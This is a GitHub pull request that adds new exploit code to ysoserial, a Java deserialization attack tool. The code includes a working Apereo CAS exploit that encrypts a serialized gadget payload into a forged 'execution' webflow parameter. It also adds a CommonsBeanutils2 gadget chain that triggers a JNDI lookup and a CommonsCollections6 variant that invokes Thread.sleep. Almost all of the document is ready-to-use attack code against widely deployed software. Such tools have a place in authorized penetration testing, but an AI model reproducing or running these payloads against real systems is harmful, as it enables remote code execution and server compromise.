Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Apereo CAS Exploit #99

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 33 additions & 0 deletions src/main/java/ysoserial/exploit/ApereoExploit.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
package ysoserial.exploit;

import org.jasig.cas.util.BinaryCipherExecutor;
import org.jasig.spring.webflow.plugin.ClientFlowExecutionKey;
import ysoserial.payloads.ObjectPayload;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.zip.GZIPOutputStream;

public class ApereoExploit {
public static void main(String[] args) throws Exception{
if ( args.length < 4 ) {
System.err.println(ApereoExploit.class.getName() + " <encryptionSecretKey> <signingSecretKey> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = ObjectPayload.Utils.makePayloadObject(args[2], args[3]);
final ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
out.writeObject(payloadObject);
} finally {
if (out != null) {
out.close();
}
}
BinaryCipherExecutor binaryCipherExecutor = new BinaryCipherExecutor(args[0],args[1]);
byte[] bytes = binaryCipherExecutor.encode(outBuffer.toByteArray());
ClientFlowExecutionKey clientFlowExecutionKey = new ClientFlowExecutionKey(bytes);
System.out.println("execution="+clientFlowExecutionKey.toString());
}
}
45 changes: 45 additions & 0 deletions src/main/java/ysoserial/payloads/CommonsBeanutils2.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
package ysoserial.payloads;

import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Reflections;
import java.math.BigInteger;
import java.util.*;

public class CommonsBeanutils2 implements ObjectPayload<Object>{
public Object getObject(final String command) throws Exception{
BeanComparator cmp = new BeanComparator("lowestSetBit", Collections.reverseOrder());
Object trig = CommonsBeanutils2.makeComparatorTrigger(CommonsBeanutils2.makeJNDIRowSet(command), cmp);
Reflections.setFieldValue(cmp, "property", "databaseMetaData");
return trig;

}


public static Queue<Object> makePriorityQueue (Object tgt, Comparator comparator ) throws Exception {
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[ 0 ] = tgt;
queueArray[ 1 ] = tgt;

return queue;
}

public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}

public static Object makeComparatorTrigger ( Object tgt, Comparator<?> cmp ) throws Exception {
return CommonsBeanutils2.makePriorityQueue(tgt, cmp);
}
}
107 changes: 107 additions & 0 deletions src/main/java/ysoserial/payloads/CommonsCollections6Sleep.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;

import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6Sleep extends PayloadRunner implements ObjectPayload<Serializable> {

public Serializable getObject(final String command) throws Exception {

final Object[] execArgs = new Object[] {Long.parseLong(command)};

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.lang.Thread.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"sleep", new Class[]{long.class} }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
new Class[] { long.class }, execArgs }),
new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}


f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node, entry);

return map;

}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, args);
}
}